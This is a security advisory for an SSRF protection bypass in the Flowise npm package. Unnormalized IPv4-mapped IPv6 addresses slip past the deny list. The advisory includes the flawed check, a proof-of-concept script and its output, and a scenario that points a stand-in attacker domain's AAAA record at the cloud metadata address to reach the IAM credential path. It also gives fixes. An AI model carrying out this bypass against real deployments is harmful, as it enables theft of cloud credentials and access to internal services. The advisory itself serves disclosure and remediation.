Skip to content

GHSA-c6xh-wv4j-ppv5 CVE-2026-69257

Flowise: SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses

High npm
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.43%
Chance of exploitation in the next 30 days. Higher than 37.04% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-1389 Incorrect Parsing of Numbers with Different Radices
CWE-918 Server-Side Request Forgery (SSRF)
Fix
3.1.3
Upgrade flowise to this version or later

Description

Summary

Flowise's HTTP security module (httpSecurity.ts) fails to normalize IPv4-mapped IPv6 addresses (e.g., ::ffff:127.0.0.1, ::ffff:169.254.169.254) before checking them against the deny list. Due to an ipaddr.js kind mismatch (ipv6 vs ipv4), all IPv4 CIDR deny rules are silently skipped for IPv4-mapped IPv6 addresses. An attacker who controls DNS resolution for a hostname can set a AAAA record to ::ffff:<target_ipv4>, completely bypassing all SSRF protections and accessing internal services, cloud metadata endpoints, and localhost.

CWE

  • CWE-918: Server-Side Request Forgery (SSRF)
  • CWE-1389: Incorrect Parsing of Numbers with Different Radices (IPv4-mapped IPv6 not normalized to IPv4 before deny list check)

Affected Versions

  • All versions up to and including v3.1.1 (latest main branch as of 2026-04-03)
  • This includes versions where CVE-2026-31829 was supposedly patched (v3.0.13+)

Details

Root Cause

The isDeniedIP() function in packages/components/src/httpSecurity.ts checks IP addresses against a deny list using ipaddr.js. The critical flaw is in the kind() comparison:

// httpSecurity.ts - isDeniedIP()
export function isDeniedIP(ip: string, denyList: string[]): void {
    const parsedIp = ipaddr.parse(ip);
    for (const entry of denyList) {
        if (entry.includes('/')) {
            try {
                const [range, _] = entry.split('/')
                const parsedRange = ipaddr.parse(range)
                // ⚠️ BUG: IPv4-mapped IPv6 has kind='ipv6', IPv4 CIDR has kind='ipv4'
                // This condition is FALSE for ::ffff:x.x.x.x vs any IPv4 CIDR entry
                if (parsedIp.kind() === parsedRange.kind()) {  // <-- BYPASS HERE
                    if (parsedIp.match(ipaddr.parseCIDR(entry))) {
                        throw new Error('Access to this host is denied by policy.')
                    }
                }
            } catch (error) {
                throw new Error(`isDeniedIP: ${error}`)
            }
        } else if (ip === entry) {
            throw new Error('Access to this host is denied by policy.')
        }
    }
}

When the resolved IP is an IPv4-mapped IPv6 address like ::ffff:169.254.169.254:

  • ipaddr.parse('::ffff:169.254.169.254').kind() returns 'ipv6'
  • ipaddr.parse('169.254.169.254').kind() (from deny list entry) returns 'ipv4'
  • 'ipv6' === 'ipv4' is false → CIDR check is completely skipped

The IPv6 deny list entries (::1, fc00::/7, fe80::/10, ff00::/8) do NOT cover the ::ffff:0:0/96 range where IPv4-mapped addresses live, so these addresses bypass ALL deny rules.

Attack Vector

  1. Attacker registers a domain (e.g., evil.attacker.com) and sets a AAAA DNS record to ::ffff:169.254.169.254 (AWS metadata) or ::ffff:10.0.0.1 (internal service)
  2. Attacker configures a chatflow HTTP Node (or API Chain, Document Loader, etc.) to make a request to http://evil.attacker.com/latest/meta-data/
  3. resolveAndValidate() calls dns.lookup('evil.attacker.com', { all: true }) which returns [{ address: '::ffff:169.254.169.254', family: 6 }]
  4. isDeniedIP('::ffff:169.254.169.254', denyList) is called — all IPv4 CIDR entries are skipped due to kind mismatch
  5. Request is sent to 169.254.169.254 (AWS metadata service) via the IPv4-mapped IPv6 address

Affected Endpoints

All code paths using the SSRF protection functions are vulnerable:

Function Usage Count Affected Components
secureAxiosRequest() 8+ HTTP Node (Agentflow), ExecuteFlow, APILoader, FireCrawl, Spider, AzureRerank
secureFetch() 5+ ApiChain, Custom Function sandbox, Jira tool, MCP tool
checkDenyList() 3+ MCP Server URL validation, fetch-links service, web scraping

Proof of Concept

// Verify the bypass using ipaddr.js (same library Flowise uses)
const ipaddr = require('ipaddr.js');

const denyList = [
    '169.254.169.254/16',  // Cloud metadata (covered by 169.254.0.0/16 in Flowise)
    '10.0.0.0/8',          // RFC1918 (covered by 10.0.0.0/8 in Flowise)
    '127.0.0.0/8',         // Loopback (covered by 127.0.0.0/8 in Flowise)
    '172.16.0.0/12',       // RFC1918 (covered by 172.16.0.0/12 in Flowise)
    '192.168.0.0/16',      // RFC1918 (covered by 192.168.0.0/16 in Flowise)
];

// Normal IPv4 - correctly blocked
const normalIP = ipaddr.parse('169.254.169.254');
console.log('169.254.169.254 kind:', normalIP.kind()); // 'ipv4'

// IPv4-mapped IPv6 - bypasses ALL checks
const mappedIP = ipaddr.parse('::ffff:169.254.169.254');
console.log('::ffff:169.254.169.254 kind:', mappedIP.kind()); // 'ipv6'
console.log('Is IPv4Mapped?:', mappedIP.isIPv4MappedAddress()); // true
console.log('Maps to:', mappedIP.toIPv4Address().toString()); // '169.254.169.254'

// Demonstrate the bypass
for (const entry of denyList) {
    const [range] = entry.split('/');
    const parsedRange = ipaddr.parse(range);
    const kindMatch = mappedIP.kind() === parsedRange.kind();
    console.log(`${entry}: kind match = ${kindMatch}`); // ALL false!
}
// Result: ALL deny list entries are skipped

Attack Scenario (AWS Cloud):

# 1. Attacker sets up DNS: evil.com AAAA -> ::ffff:a9fe:a9fe (169.254.169.254)
# 2. Attacker creates a chatflow with HTTP Node pointing to:
#    URL: http://evil.com/latest/meta-data/iam/security-credentials/
# 3. Flowise resolves evil.com -> ::ffff:169.254.169.254
# 4. isDeniedIP skips all IPv4 CIDR checks (kind mismatch)
# 5. Request reaches AWS IMDS -> Returns IAM role credentials

Verified PoC Output

The following output was produced by running the PoC script (poc_ssrf_bypass.js) against ipaddr.js@2.2.0 (the exact version used by Flowise ^2.2.0), replicating the isDeniedIP() logic:

Step 1: kind() mismatch confirmed

169.254.169.254                kind=ipv4  isIPv4Mapped=false
::ffff:169.254.169.254         kind=ipv6  isIPv4Mapped=true  → maps to: 169.254.169.254
127.0.0.1                      kind=ipv4  isIPv4Mapped=false
::ffff:127.0.0.1               kind=ipv6  isIPv4Mapped=true  → maps to: 127.0.0.1
10.0.0.1                       kind=ipv4  isIPv4Mapped=false
::ffff:10.0.0.1                kind=ipv6  isIPv4Mapped=true  → maps to: 10.0.0.1
192.168.1.1                    kind=ipv4  isIPv4Mapped=false
::ffff:192.168.1.1             kind=ipv6  isIPv4Mapped=true  → maps to: 192.168.1.1
172.16.0.1                     kind=ipv4  isIPv4Mapped=false
::ffff:172.16.0.1              kind=ipv6  isIPv4Mapped=true  → maps to: 172.16.0.1

Step 2: Normal IPv4 — correctly blocked ✅

169.254.169.254           → 🔒 BLOCKED (matched: 169.254.169.254)
127.0.0.1                 → 🔒 BLOCKED (matched: 127.0.0.0/8)
10.0.0.1                  → 🔒 BLOCKED (matched: 10.0.0.0/8)
192.168.1.1               → 🔒 BLOCKED (matched: 192.168.0.0/16)
172.16.0.1                → 🔒 BLOCKED (matched: 172.16.0.0/12)

Step 3: IPv4-Mapped IPv6 — ALL bypass deny list ⚠️

::ffff:169.254.169.254         → ⚠️ ALLOWED (BYPASS!)  (real target: 169.254.169.254)
::ffff:127.0.0.1               → ⚠️ ALLOWED (BYPASS!)  (real target: 127.0.0.1)
::ffff:10.0.0.1                → ⚠️ ALLOWED (BYPASS!)  (real target: 10.0.0.1)
::ffff:192.168.1.1             → ⚠️ ALLOWED (BYPASS!)  (real target: 192.168.1.1)
::ffff:172.16.0.1              → ⚠️ ALLOWED (BYPASS!)  (real target: 172.16.0.1)

Step 4: Root cause — kind mismatch skips CIDR check

Checking: ::ffff:169.254.169.254 against deny entry 169.254.0.0/16
parsedIp.kind()    = 'ipv6'
parsedRange.kind() = 'ipv4'
kind match?        = false ← CIDR check is SKIPPED!
But the IP actually maps to: 169.254.169.254 (which IS in 169.254.0.0/16)

Step 5: Proposed fix — all bypass addresses now blocked ✅

::ffff:169.254.169.254         → 🔒 BLOCKED (FIXED!) (matched: 169.254.0.0/16)
::ffff:127.0.0.1               → 🔒 BLOCKED (FIXED!) (matched: 127.0.0.0/8)
::ffff:10.0.0.1                → 🔒 BLOCKED (FIXED!) (matched: 10.0.0.0/8)
::ffff:192.168.1.1             → 🔒 BLOCKED (FIXED!) (matched: 192.168.0.0/16)
::ffff:172.16.0.1              → 🔒 BLOCKED (FIXED!) (matched: 172.16.0.0/12)

Step 6: Attack simulation

Vulnerable isDeniedIP:  ⚠️ ALLOWED → Request reaches AWS metadata!
Fixed isDeniedIP:       🔒 BLOCKED → Attack prevented!

Verification environment: Node.js v22.13.1, ipaddr.js@2.2.0 (matches Flowise dependency ^2.2.0) PoC script: poc_ssrf_bypass.js

Impact

Target Impact Severity
AWS/GCP/Azure Metadata (169.254.169.254) Steal IAM credentials, service account tokens Critical
Internal services (10.x.x.x, 172.16.x.x, 192.168.x.x) Access internal APIs, databases, admin panels High
Localhost (127.0.0.1) Access Flowise's own API with elevated privileges, access co-located services High

This bypass renders the SSRF protection added in v3.0.13 (CVE-2026-31829 fix) completely ineffective against IPv4-mapped IPv6 DNS resolution.

Remediation

Option 1: Normalize IPv4-Mapped IPv6 Before Checking (Recommended)

export function isDeniedIP(ip: string, denyList: string[]): void {
    let parsedIp = ipaddr.parse(ip);
    
    // ✅ FIX: Normalize IPv4-mapped IPv6 to IPv4 before checking
    if (parsedIp.kind() === 'ipv6' && parsedIp.isIPv4MappedAddress()) {
        parsedIp = parsedIp.toIPv4Address();
    }
    
    for (const entry of denyList) {
        if (entry.includes('/')) {
            try {
                const [range, _] = entry.split('/');
                let parsedRange = ipaddr.parse(range);
                // Also normalize deny list entries
                if (parsedRange.kind() === 'ipv6' && parsedRange.isIPv4MappedAddress()) {
                    parsedRange = parsedRange.toIPv4Address();
                }
                if (parsedIp.kind() === parsedRange.kind()) {
                    if (parsedIp.match(ipaddr.parseCIDR(entry))) {
                        throw new Error('Access to this host is denied by policy.');
                    }
                }
            } catch (error) {
                throw new Error(`isDeniedIP: ${error}`);
            }
        } else if (ip === entry) {
            throw new Error('Access to this host is denied by policy.');
        }
    }
}

Option 2: Add ::ffff:0:0/96 to Deny List (Defense-in-depth)

Additionally, add the IPv4-mapped IPv6 prefix to the deny list to block ALL mapped addresses:

const DEFAULT_DENY_LIST = [
    // ... existing entries ...
    '::ffff:0:0/96',        // Block ALL IPv4-mapped IPv6 addresses
    '::ffff:127.0.0.1/128', // Explicit loopback mapped
    '::ffff:169.254.0.0/112', // Explicit link-local mapped  
    '::ffff:10.0.0.0/104',  // Explicit RFC1918 Class A mapped
    '::ffff:172.16.0.0/108', // Explicit RFC1918 Class B mapped
    '::ffff:192.168.0.0/112', // Explicit RFC1918 Class C mapped
];

Option 3: Also normalize in resolveAndValidate() (Belt and suspenders)

async function resolveAndValidate(url: string): Promise<ResolvedTarget> {
    // ... existing code ...
    const records = await dns.lookup(hostname, { all: true });
    for (const r of records) {
        let address = r.address;
        // Normalize IPv4-mapped IPv6 for deny list checking
        if (ipaddr.isValid(address)) {
            const parsed = ipaddr.parse(address);
            if (parsed.kind() === 'ipv6' && parsed.isIPv4MappedAddress()) {
                address = parsed.toIPv4Address().toString();
            }
        }
        isDeniedIP(address, denyList);
    }
    // ... rest of code ...
}

Affected versions

npm

PackageVulnerableFixed in
flowise
< 3.1.3
3.1.3

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

flowise npm → 3.1.3

npm
npm install flowise@3.1.3
yarn
yarn add flowise@3.1.3
pnpm
pnpm add flowise@3.1.3

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
Present
Privileges required
Low
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
Low
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

CVSS 3.1 8.6

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

Weakness

CWE-1389: Incorrect Parsing of Numbers with Different Radices

The product parses numeric input assuming base 10 (decimal) values, but it does not account for inputs that use a different base number (radix).

How to prevent it
  • Implementation: If only decimal-based values are expected in the application, conditional checks should be created in a way that prevent octal or hexadecimal strings from being checked. This can be achieved by converting any numerical string to an explicit base-10 integer prior to the conditional check, to prevent octal or hex values from ever being checked against the condition.
  • Implementation: If various numerical bases do need to be supported, check for leading values indicating the non-decimal base you wish to support (such as 0x for hex) and convert the numeric strings to integers of the respective base. Reject any other alternative-base string that is not intentionally supported by the application.
  • Implementation: If regular expressions are used to validate IP addresses, ensure that they are bounded using ^ and $ to prevent base-prepended IP addresses from being matched.

CWE-918: Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-w7x8-q2gp-5cgg
Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass
Critical Also affects flowise
GHSA-9gvv-qjj3-2p6g
Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium
High Also affects flowise
GHSA-qgvm-j2hm-6m38
Flowise: Unauthenticated OAuth2 token refresh endpoint returns access tokens — enables token theft for any connected service
Critical Also affects flowise
GHSA-5xvg-pmgg-3mxr
Flowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability
Critical Also affects flowise
GHSA-gmmw-qg98-6j6p
Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation
High Also affects flowise
GHSA-8gj2-2cvc-6xx7
Flowise: Unauthenticated Credential Abuse via Text-to-Speech Endpoint Allows Unauthorized Use of Private Chatflow TTS Credentials
Medium Also affects flowise
GHSA-fm2f-4339-4p2f
Flowise: Missing Authorization on Execution Update Endpoint
Medium Also affects flowise
GHSA-wch5-xp77-fxg4
Flowise: Cross-Workspace OAuth2 Credential Metadata Leak
High Also affects flowise
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor